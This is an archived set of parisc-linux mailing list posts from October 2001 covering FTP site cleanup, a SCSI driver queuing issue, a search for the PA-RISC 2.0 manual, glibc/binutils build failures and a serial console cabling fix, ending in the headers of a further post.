Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] WARNING ftp site moved -> ftp.parisc-linux.org
Date: Wed, 17 Oct 2001 13:18:18 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20011017131818.B22885@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620641 28132 80.91.229.3 (22 Nov 2014 01:44:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:01 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 17 06:18:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E3CB8482A
	for <parisc-linux@parisc-linux.org>; Wed, 17 Oct 2001 06:18:19 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15tpeM-0004w3-00
	for parisc-linux@parisc-linux.org; Wed, 17 Oct 2001 13:18:18 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12695

ok, i've moved the patches from /src to /patches.  there's a lot of
really really old stuff in /src which i'm tempted to delete.  i don't
think we need egcs-2.9-hppa-991112.tar.{gz,bz2} any more, for example.
parisc-linux-src-19991019.tar.gz is probably not of much interest any more
either (that's probably kernel 2.2 based...).  anyone still interested
in dpkg-src-20000824.tar.gz either?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Averell Eisner <a_eisner@eisner.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP Corporate Support
Date: Wed, 17 Oct 2001 09:13:12 -0400
Organization: Eisner Associates, Inc.
Lines: 16
Approved: news@gmane.org
Message-ID: <3BCD83E8.1FC11112@eisner.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620641 28138 80.91.229.3 (22 Nov 2014 01:44:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:01 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 17 07:22:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail37.sdc1.sfba.home.com (femail37.sdc1.sfba.home.com [24.254.60.31])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F808482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Oct 2001 07:22:58 -0600 (MDT)
Original-Received: from eisner.com ([24.3.167.33]) by femail37.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with ESMTP
          id <20011017132251.DQMV14145.femail37.sdc1.sfba.home.com@eisner.com>;
          Wed, 17 Oct 2001 06:22:51 -0700
X-Mailer: Mozilla 4.74 [en] (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12696

FYI

> FRAMINGHAM, Mass., Oct 16, 2001 (BUSINESS WIRE) -- IDG World Expo
> announced today that Carly Fiorina, chairman and CEO of Hewlett-Packard
> Company, will present the opening keynote address at the upcoming 
> LinuxWorld Conference & Expo, held January 29 - February 1, 2002 at 
> New York City's Jacob K. Javits Convention Center. Sanjay Kumar, 
> president and CEO of Computer Associates, and William Zeitler, senior 
> vice president and group executive of IBM's Server Group, will also 
> present keynotes at the event. 

-- 
Averell




From - Thu Nov 08 21:19:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New scsi driver for 53c700 and 53c710 committed
Date: Wed, 17 Oct 2001 09:19:37 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <200110171419.f9HEJbH01686@localhost.localdomain>
References: <rhirst@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620641 28145 80.91.229.3 (22 Nov 2014 01:44:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:01 +0000 (UTC)
Cc: Daniel Engstrom <5116@telia.com>,
	parisc-linux@lists.parisc-linux.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 17 08:19:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost.localdomain (adsl-64-109-89-110.chicago.il.ameritech.net [64.109.89.110])
	by dsl2.external.hp.com (Postfix) with ESMTP id E1044482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Oct 2001 08:19:44 -0600 (MDT)
Original-Received: from mulgrave (jejb@localhost)
	by localhost.localdomain (8.11.2/8.8.7) with ESMTP id f9HEJbH01686;
	Wed, 17 Oct 2001 09:19:37 -0500
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
In-Reply-To: Message from Richard Hirst <rhirst@linuxcare.com> 
   of "Wed, 17 Oct 2001 10:56:41 BST." <20011017105641.G11105@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:12697

This one looks like it might be the second new feature of the driver: tag 
command queuing.

Could you post the boot messages of the failure case (or at least the device 
identifications and whether the driver has enabled TCQ [message like scsi1: 
(5:0) Enabling Tag Command Queuing)].

Thanks,

James







From - Thu Nov 08 21:19:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Documentation PARISC 2.0
Date: Wed, 17 Oct 2001 13:43:12 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20011017134312.A14268@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620642 28182 80.91.229.3 (22 Nov 2014 01:44:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 17 11:41:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2768C482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Oct 2001 11:41:40 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f9HIUCG28169
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Oct 2001 14:30:12 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f9HHhCo14274
	for parisc-linux@lists.parisc-linux.org; Wed, 17 Oct 2001 13:43:12 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (52% Sync Ratio [=====.....])
Xref: news.gmane.org gmane.linux.ports.parisc:12698

PARISC'ers,

Does anyone have the PA-RISC 2.0 Architecture and Instruction
Set Reference Manual in pdf format? (or ps format)

I have the PA-RISC 1.1 docs, but the 2.0 docs seem to be 
available only as online html.

c.




From - Thu Nov 08 21:19:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Documentation PARISC 2.0
Date: Wed, 17 Oct 2001 11:00:00 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20011017110000.B4123@tausq.org>
References: <20011017134312.A14268@megatonmonkey.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620642 28189 80.91.229.3 (22 Nov 2014 01:44:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:02 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 17 12:00:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3DDC9482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Oct 2001 12:00:12 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id vqldiaaa for parisc-linux@lists.parisc-linux.org; Wed, 17 Oct 2001 10:55:31 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15tuz2-0002cy-00; Wed, 17 Oct 2001 11:00:00 -0700
Content-Disposition: inline
In-Reply-To: <20011017134312.A14268@megatonmonkey.net>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12699

> Does anyone have the PA-RISC 2.0 Architecture and Instruction
> Set Reference Manual in pdf format? (or ps format)
> 
> I have the PA-RISC 1.1 docs, but the 2.0 docs seem to be 
> available only as online html.

dunno about pdf, but there's a PA2.0 architecture book (dead tree kind). 
It's out of print but you can order it by special order from places 
like FatBrain.  It's definitely a good reference.

looks like HP reorganized some of the web pages and some of the links
from http://www.parisc-linux.org/documentation/index.html are out of
date... can someone fix them? 

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:19:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Documentation PARISC 2.0
Date: Wed, 17 Oct 2001 13:12:42 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <200110171912.NAA26054@puffin.external.hp.com>
References: <carlos@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620642 28191 80.91.229.3 (22 Nov 2014 01:44:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 17 13:16:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3082B482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Oct 2001 13:16:15 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA26054;
	Wed, 17 Oct 2001 13:12:42 -0600
In-Reply-To: Message from "Carlos O'Donell Jr." <carlos@megatonmonkey.net> 
   of "Wed, 17 Oct 2001 13:43:12 EDT." <20011017134312.A14268@megatonmonkey.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:12700

"Carlos O'Donell Jr." wrote:
> Does anyone have the PA-RISC 2.0 Architecture and Instruction
> Set Reference Manual in pdf format? (or ps format)

Like randolph observed, docs.hp.com has been re-org'd.
I did find help for pa-risc at:
http://dsportal.eservices.hp.com/dspp/tech/tech_TechTypeListingPage_IDX/1,1704,10403,00.html

It does seem to offer docs in pdf format.

hth,
grant




From - Thu Nov 08 21:19:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc update
Date: Wed, 17 Oct 2001 12:23:13 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <20011017122313.C4123@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620643 28194 80.91.229.3 (22 Nov 2014 01:44:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:03 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 17 13:23:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 644B0482A
	for <parisc-linux@parisc-linux.org>; Wed, 17 Oct 2001 13:23:24 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id cmmdiaaa for parisc-linux@parisc-linux.org; Wed, 17 Oct 2001 12:18:44 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15twHZ-0002k3-00; Wed, 17 Oct 2001 12:23:13 -0700
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12701

glibc 2.2.4-3 has been uploaded to Debian's incoming direction and
should be installed in today's archive run.

it was lightly tested by lamont and myself before upload... please do
report any problems you find.

note that after i sent out my email yesterday about glibc, we ran into
some other obstacles... 

1. the glibc i uploaded is actually built with a fairly old binutils
(version 2.11.90.0.7-2.0.1). There could well be many binutils bug fixes 
since then, but at least for this case it lets us build glibc without 
the segfaults we see with the newer binutils

2. the newest binutils (2.11.92.0.5-3), also in incoming, doesn't appear
to address the glibc build issue as i originally thought. we still get
ld.so segfaults as Carlos has observed earlier. Perhaps someone (Carlos,
Alan, Rob?) can look at the binutils changes since then can see what
broke?

3. with the glibc build (using old binutils) some of the linuxthreads
tests are failing. in particular there's one case where it seems to get
into a deadlock. i left it running overnight and it's still stuck ... 
i don't know if this has always been broken though.

Build logs for #3 and #2 above can be found at:

#3: http://people.debian.org/~tausq/glibc.build.log2
#2: http://people.debian.org/~tausq/glibc.build.log5

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:19:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Documentation PARISC 2.0
Date: Wed, 17 Oct 2001 13:22:12 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <200110171922.NAA26114@puffin.external.hp.com>
References: <grundler@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620643 28197 80.91.229.3 (22 Nov 2014 01:44:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	grundler@puffin.external.hp.com
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 17 13:25:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id C70FB482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Oct 2001 13:25:43 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA26114;
	Wed, 17 Oct 2001 13:22:12 -0600
In-Reply-To: Message from Grant Grundler <grundler@puffin.external.hp.com> 
   of "Wed, 17 Oct 2001 13:12:42 MDT." <200110171912.NAA26054@puffin.external.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:12702

Grant Grundler wrote:
> It does seem to offer docs in pdf format.

I just saw that everything but that doc is offered as pdf.
I've left feedback to the site and encourage others who
want the pdf version to do the same.

thanks,
grant




From - Thu Nov 08 21:19:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Documentation PARISC 2.0
Date: Thu, 18 Oct 2001 05:02:52 +0800
Lines: 26
Approved: news@gmane.org
Message-ID: <20011018050249.B9791@neep.com.au>
References: <20011017134312.A14268@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620643 28201 80.91.229.3 (22 Nov 2014 01:44:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 17 15:03:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-06.iinet.net.au [203.59.3.38])
	by dsl2.external.hp.com (Postfix) with SMTP id 91F7E482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Oct 2001 15:03:36 -0600 (MDT)
Original-Received: (qmail 5826 invoked by uid 666); 17 Oct 2001 21:03:24 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.217.189)
  by mail.iinet.net.au with SMTP; 17 Oct 2001 21:03:24 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id FAA10546
	for parisc-linux@lists.parisc-linux.org; Thu, 18 Oct 2001 05:02:55 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011017134312.A14268@megatonmonkey.net>; from carlos@megatonmonkey.net on Wed, Oct 17, 2001 at 01:43:12PM -0400
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:12703

Quoth Carlos O'Donell Jr.:
> PARISC'ers,
> 
> Does anyone have the PA-RISC 2.0 Architecture and Instruction
> Set Reference Manual in pdf format? (or ps format)
> 
> I have the PA-RISC 1.1 docs, but the 2.0 docs seem to be 
> available only as online html.
> 
> c.

It may not be as nice as the Official HP stuff, but in Linux you can
roll your own PDF documents from the online html using html2ps and
ps2pdf from the html2ps and gs packages in Debian, respectively.  It's
not Adobe Distiller but the result is pretty good.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:19:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [randolph@tausq.org: [parisc-linux] glibc update]
Date: Wed, 17 Oct 2001 23:40:38 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <20011017234038.C1060@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620644 28207 80.91.229.3 (22 Nov 2014 01:44:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:04 +0000 (UTC)
To: randolph@tausq.org, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 17 21:39:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 281B4482A
	for <parisc-linux@parisc-linux.org>; Wed, 17 Oct 2001 21:39:05 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f9I4S3G31762;
	Thu, 18 Oct 2001 00:28:03 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f9I3ech07945;
	Wed, 17 Oct 2001 23:40:38 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	randolph@tausq.org, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (56% Sync Ratio [======....])
Xref: news.gmane.org gmane.linux.ports.parisc:12704

R,

>1. the glibc i uploaded is actually built with a fairly old binutils
>(version 2.11.90.0.7-2.0.1). There could well be many binutils bug fixes 
>since then, but at least for this case it lets us build glibc without 
>the segfaults we see with the newer binutils

I'll see about giving it a try on my 712/60 and 715/50's

>2. the newest binutils (2.11.92.0.5-3), also in incoming, doesn't appear
>to address the glibc build issue as i originally thought. we still get
>ld.so segfaults as Carlos has observed earlier. Perhaps someone (Carlos,
>Alan, Rob?) can look at the binutils changes since then can see what
>broke?

Eventually I'll get that assembly trace done.

>3. with the glibc build (using old binutils) some of the linuxthreads
>tests are failing. in particular there's one case where it seems to get
>into a deadlock. i left it running overnight and it's still stuck ... 
>i don't know if this has always been broken though.

This reminds me, in general I keep forgetting to add the location of
/xxx/glibc-2.2.4/hppa-linux/obj to LD_LIBRARY_PATH. This nips some of
the tests in the bud since ld goes looking for the wrong library.

>Build logs for #3 and #2 above can be found at:
>#3: http://people.debian.org/~tausq/glibc.build.log2
>#2: http://people.debian.org/~tausq/glibc.build.log5

Have you tried running the tests by hand and seeing what the output is?

What is the output of running:
/home/randolph/gcc-3.0/glibc-2.2.4/hppa-linux/obj/math/test-fenv.out

c.




From - Thu Nov 08 21:19:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: paul lee <wbm111us@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Thanks - Re: [parisc-linux] Help - Serial console problem
Date: Wed, 17 Oct 2001 22:29:21 -0700 (PDT)
Lines: 108
Approved: news@gmane.org
Message-ID: <20011018052921.50103.qmail@web14802.mail.yahoo.com>
References: <3BCCA573.8419CD4@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620644 28209 80.91.229.3 (22 Nov 2014 01:44:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:04 +0000 (UTC)
Cc: paul lee <wbm111us@yahoo.com>,
	parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@gmx.at>,
	Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 17 23:29:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web14802.mail.yahoo.com (web14802.mail.yahoo.com [216.136.224.218])
	by dsl2.external.hp.com (Postfix) with SMTP id 2C1C7482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 17 Oct 2001 23:29:22 -0600 (MDT)
Original-Received: from [199.106.78.13] by web14802.mail.yahoo.com via HTTP; Wed, 17 Oct 2001 22:29:21 PDT
In-Reply-To: <3BCCA573.8419CD4@gmx.at>
Xref: news.gmane.org gmane.linux.ports.parisc:12705

Hi,

Thank you all very much! The problem has been solved: 
I re-wire  the serial cable as Christoph said and it
works very well.


--- Christoph Plattner <christoph.plattner@gmx.at>
wrote:
> Hello,
> 
> I think the problem has to do with the hardware
> handshake.
> The silly M$ OS has the problem, that it expects
> correct
> settings of the hardware handshake lines, although
> hardware
> handshake is not used. The same is true for the
> default BIOS
> (int 14h) driver. On Linux, for example, this
> problem is
> not present.
> 
> The PC under any Microsoft system or under BIOS (int
> 14h)
> control does not send any character, if the CTS line
> (pin
> 5 on the D-SUB-25) is active. A linux PC used via
> serial
> console on a Win2000 system is working, as the Linux
> PC
> activates the lines, although it is not using them. 
> 
> So sum up: Windows expects on the input side an
> active
> CTS to send. Linux does not require this line
> active,
> but activates the output for a machine on the other
> side,
> who needs the output active. 
> 
> The HP workstation and server (so my HP 55E
> 9000/856) do
> not activate the handshake line, so the CTS pin on
> the
> Win2000 side is inactive. Is was not possible for my
> to
> activate the handshake lines on the HP server via
> `stty'.
> 
> The most simple method to get it working:
> Make a special cable with a 3-wire conection to the
> HP
> machine (TXD, RXD, GND) and solder two bridges on
> the
> Win2000 side in the connector:
> 	for 25-pin:  	4 <-> 5
> 			6 <-> 20
> 
> 	for 9-pin:	7 <-> 8
> 			4 <-> 6
> 
> This should work then ....
> 
> 
> With friendly regards
> 	Christoph P.
> 
> 
> Grant Grundler wrote:
> > 
> > paul lee wrote:
> > > I could not access a C200 workstation via serial
> > > console. Could someone please give me some
> insight?
> > > I use hyperterminal on Win 2000. The settings
> are
> > > VT100, 9600, 8-N-1 and Xon/Xoff.
> > 
> > The settings are correct.
> > It's possible the serial cable isn't wired
> correctly
> > or the C200 isn't trying to use serial port1.
> > 
> > grant
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> >
>
http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 
> -- 
>
-------------------------------------------------------
> private:	christoph.plattner@gmx.at
> company:	christoph.plattner@alcatel.at
> 


__________________________________________________
Do You Yahoo!?
Make a great connection at Yahoo! Personals.
http://personals.yahoo.com




From - Thu Nov 08 21:19:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frode.Meling@wartsila.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems installing a 715/100 - Reboots right after the 'Set defa
 ult PSW W bit to 0'
Date: Thu, 18 Oct 2001 13:00:33 +0300
Lines: 291
Approved: news@gmane.org
Message-ID: <49CF62DB7EBBD2118F000008C74B94A001070996@nos0006>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C157BB.BA225E80"
X-Trace: ger.gmane.org 1416620644 28212 80.91.229.3 (22 Nov 2014 01:44:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:04 +0000 (UTC)
Cc: Dag.Tulloch@wartsila.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 18 04:06:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fis0008.fi.wnsd.com (mail1.wartsila.com [194.251.142.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2E1F482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 18 Oct 2001 04:06:56 -0600 (MDT)
